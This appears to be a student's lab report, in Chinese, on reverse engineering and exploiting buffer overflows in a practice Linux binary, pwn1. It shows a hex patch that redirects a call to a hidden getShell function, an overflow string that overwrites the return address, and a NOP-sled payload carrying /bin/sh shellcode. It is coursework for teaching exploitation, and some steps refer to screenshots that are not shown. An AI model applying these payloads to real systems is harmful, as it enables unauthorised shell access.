20155308《網絡攻防》 Exp1 PC平台逆向破解(5)M
逆向及Bof基礎實踐說明
1.1 實踐目标
- 本次實踐的對象是一個名為pwn1的linux可執行檔案。
- 該程式正常執行流程是:main調用foo函數,foo函數會簡單回顯任何使用者輸入的字元串。
- 該程式同時包含另一個代碼片段,getShell,會傳回一個可用Shell。正常情況下這個代碼是不會被運作的。我們實踐的目标就是想辦法運作這個代碼片段。我們将學習兩種方法運作這個代碼片段,然後學習如何注入運作任何Shellcode。
- 三個實踐内容
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字元串,覆寫傳回位址,觸發getShell函數。
- 注入一個自己制作的shellcode并運作這段shellcode。
- 思路
- 運作原本不可通路的代碼片段
- 強行修改程式執行流
- 以及注入運作任意代碼。
1.2 基礎知識
-
Linux基本操作
參考網頁
https://www.cnblogs.com/crazylqy/p/5818745.html
http://blog.csdn.net/zl_best/article/details/53504712
- Bof的原理
緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種作業系統、應用軟體中廣泛存在。利用緩沖區溢出攻擊,可以導緻程式運作失敗、系統當機、重新啟動等後果。更為嚴重的是,可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。
攻擊原理:
通過往程式的緩沖區寫超出其長度的内容,造成緩沖區的溢出,進而破壞程式的堆棧,造成程式崩潰或使程式轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程式中沒有仔細檢查使用者輸入的參數。例如下面程式:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()将直接把str中的内容copy到buffer中。這樣隻要str的長度大于16,就會造成buffer的溢出,使程式運作出錯。存在象strcpy這樣的問題的标準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
當然,随便往緩沖區中填東西造成它溢出一般隻會出現“分段錯誤”(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程式運作一個使用者shell,再通過shell執行其它指令。如果該程式有root或者suid執行權限的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。
- 會使用gdb,vi
http://blog.csdn.net/luoying198791/article/details/20715499
實踐一:直接修改程式機器指令,改變程式執行流程
- 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
- 學習目标:了解可執行檔案與機器指令
- 進階:掌握ELF檔案格式,掌握動态技術
實驗過程:
- 首先進行檔案的拷貝,防止出現操作錯誤,使得源檔案被改變。
2. 通過
objdump -d pwn1_20155308
指令對檔案進行反彙編。
- 關注這幾個部分
4. 通過指令
vi pwn1_20155308
編輯檔案,通過指令
:%! xxd
把檔案轉為十六進制編輯模式
5. 通過指令
/d7ff
查找要修改的内容
main函數調用foo,對應機器指令為“ e8 d7ffffff”,
那我們想讓它調用getShell,隻要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
用Windows電腦,直接 47d-4ba就能得到補碼,是c3ffffff。
6. 輸入
i
進入編輯模式,即把d7為c3
7. 輸入指令
:%! xxd -r
将檔案轉回至二進制形式
8. 輸入
:wq
儲存并退出
9. 通過
objdump -d pwn1_20155308
指令對檔案進行反彙編,觀察到程式已從原來跳轉至foo函數變為跳轉至getshell函數
實驗結果:
實踐二;通過構造輸入參數,造成BOF攻擊,改變程式執行流
- 知識要求:堆棧結構,傳回位址 學習目标:了解攻擊緩沖區的結果,掌握傳回位址的擷取 進階:掌握ELF檔案格式,掌握動态技術
反彙編,了解程式的基本功能
objdump -d pwn1 | more
注意這個函數getShell,我們的目标是觸發這個函數
該可執行檔案正常運作是調用如下函數foo,這個函數有Buffer overflow漏洞
這裡讀入字元串,但系統隻預留了__位元組的緩沖區,超出部分會造成溢出,我們的目标是覆寫傳回位址
上面的call調用foo,同時在堆棧上壓上傳回位址值:++80484ba++
現在我們需要确認輸入的字元串哪幾個字元會覆寫到傳回位址
輸入指令
gdb pwn2_20155308
進行調試
通過指令
r
進行運作,通過指令
info r
可檢視各寄存器的值
如果輸入字元串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆寫到堆棧上的傳回位址,進而CPU會嘗試運作這個位置的代碼。那隻要把這四個字元替換為 getShell 的記憶體位址,輸給pwn1,pwn1就會運作getShell。
确認用什麼值來覆寫傳回位址
getShell的記憶體位址,通過反彙編時可以看到,即0804847d。
接下來要确認下位元組序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
對比之前 eip 0x34333231 0x34333231 ,正确應用輸入 11111111222222223333333344444444\x7d\x84\x04\x08。
構造輸入字元串
由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,是以先生成包括這樣字元串的一個檔案。\x0a表示回車,如果沒有的話,在程式運作時就需要手工按一下Enter鍵。
實踐三:注入Shellcode并執行
-
shellcode就是一段機器指令(code)
通常這段機器指令的目的是為擷取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),
是以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像添加一個使用者、運作一條指令。
--
最基本的shellcode的編寫可參考許同學的文章Shellcode入門,寫得非常之清楚詳實。以下實踐即使用該文章中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
準備工作
◦輸入指令
execstack -s pwn1
設定堆棧可執行。但是系統提示“未找到指令”,則應輸入指令
apt-get install execstack
進行安裝。系統會提示産生一下錯誤,我上網尋找了答案,應該輸入以下指令給它管理者權限。
之後根據指令輸入。
構造要注入的payload
- Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
-因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩沖區小就把shellcode放後邊,緩沖區大就把shellcode放前邊
-我們這個buf夠放這個shellcode了。
結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“着陸區/滑行區”。
我們猜的傳回位址隻要落在任何一個nop上,自然會滑到我們的shellcode。
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下來我們來确定\x4\x3\x2\x1到底該填什麼。
我的這個部分在文檔裡突然出錯,然後怎麼解決都沒有解決,是以我到桌面上繼續進行這個方面的實踐。
打開一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn1_20155308
再開另外一個終端,用gdb來調試pwn1這個程序。
注意運作時的這個位址
計算出位址應為0xffffd300
再次攻擊,成功了!!
感想
本次實驗是關于PC平台逆向破解的實驗,在課堂上老師已經對本次實驗進行了講解,并且我們在課堂上已經實作了一部分,是以感覺課下的工作并不是很難。
通過本次實驗,我對于本課的知識有了一定的了解,并且覺得如果想要學好這門課,一定要做好課上認真聽講,課下進行實踐。